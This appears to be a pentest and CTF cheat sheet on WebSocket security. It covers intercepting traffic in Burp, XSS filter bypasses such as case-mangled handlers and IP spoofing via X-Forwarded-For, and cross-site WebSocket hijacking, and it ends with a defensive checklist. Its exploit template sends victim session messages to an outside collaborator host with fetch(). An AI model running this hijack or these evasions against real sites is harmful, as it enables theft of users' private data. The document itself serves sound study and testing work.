WebSockets Security

Initiated via HTTP upgrade, then persistent bidirectional TCP. All classic HTTP vulns apply — but tooling differs slightly.

Burp Workflow

Intercept: Proxy → WebSockets history tab. Enable WS interception in Settings → WebSocket interception rules (set client→server, server→client, or both).

Replay: Right-click message in WS history → Send to Repeater. Can send in either direction and view full message history within that connection.

Manipulate handshake: In Repeater, click the pencil icon next to the WS URL → clone, attach to existing, or reconnect. Edit the full HTTP upgrade request before connecting.

Vulnerabilities

Input-based (XSS, SQLi, XXE)

Same as HTTP — just delivered over WS frames. Common pattern: JSON payload {"message":"<payload>"}.

XSS bypass tricks (when filter drops connection on detection): - Reconnect with spoofed IP: add X-Forwarded-For: 1.1.1.1 to the handshake request - Case-mangle event handlers: oNeRrOr=alert\1`- Backtick syntax avoids quotes:`

Blind vulns (SQLi, XXE, SSRF via WS) → use OAST/Collaborator since there’s no direct response.

Cross-Site WebSocket Hijacking (CSWSH)

CSRF on the WS handshake. If the upgrade request uses only cookies for auth (no CSRF token, no Origin check) → attacker can open a WS from their domain in victim’s session context → two-way interaction (unlike regular CSRF).

Detect: Check handshake request — no Sec-WebSocket-* CSRF protection, Origin not validated.

GET /chat HTTP/1.1
Host: target.com
Cookie: session=<victim_cookie>   ← only auth
Upgrade: websocket
# No CSRF token anywhere

Note: Sec-WebSocket-Key is not a CSRF token — it’s just for proxy cache busting.

Exploit template:

<script>
  var ws = new WebSocket('wss://target.com/chat');
  ws.onopen = () => ws.send("READY");
  ws.onmessage = (e) => fetch('https://collaborator.net', {
    method: 'POST', mode: 'no-cors', body: e.data
  });
</script>

Host on exploit server, deliver to victim → exfiltrates chat history / sensitive server messages.

Impact: Perform privileged actions + read server responses (full 2-way — worse than CSRF).

Handshake Headers Worth Fuzzing

Header	Why
`Origin`	Check if server validates it — often trusted blindly
`X-Forwarded-For`	IP-based blocks often check this, not real IP
`Cookie`	Session fixation / token manipulation
Custom app headers	Extra attack surface, sometimes used for auth

Quick Checklist (CTF / Pentest)

Check WS history in Burp — what messages flow on load? (look for READY-style init commands that replay history)
Test message payloads for XSS / SQLi / XXE
Check if client HTML-encodes before sending — intercept and modify raw frame
Inspect handshake: CSRF token present? Origin header validated?
No CSRF token on handshake → try CSWSH
IP banned? Spoof with X-Forwarded-For on reconnect
XSS blocked mid-session? Try case-mangled payloads after reconnecting with spoofed IP

Secure WS Checklist (for defence / code review)

wss:// only (TLS)
Hardcoded endpoint URL — no user input in WS URL
CSRF token in handshake (or validate Origin)
Treat all WS data as untrusted in both directions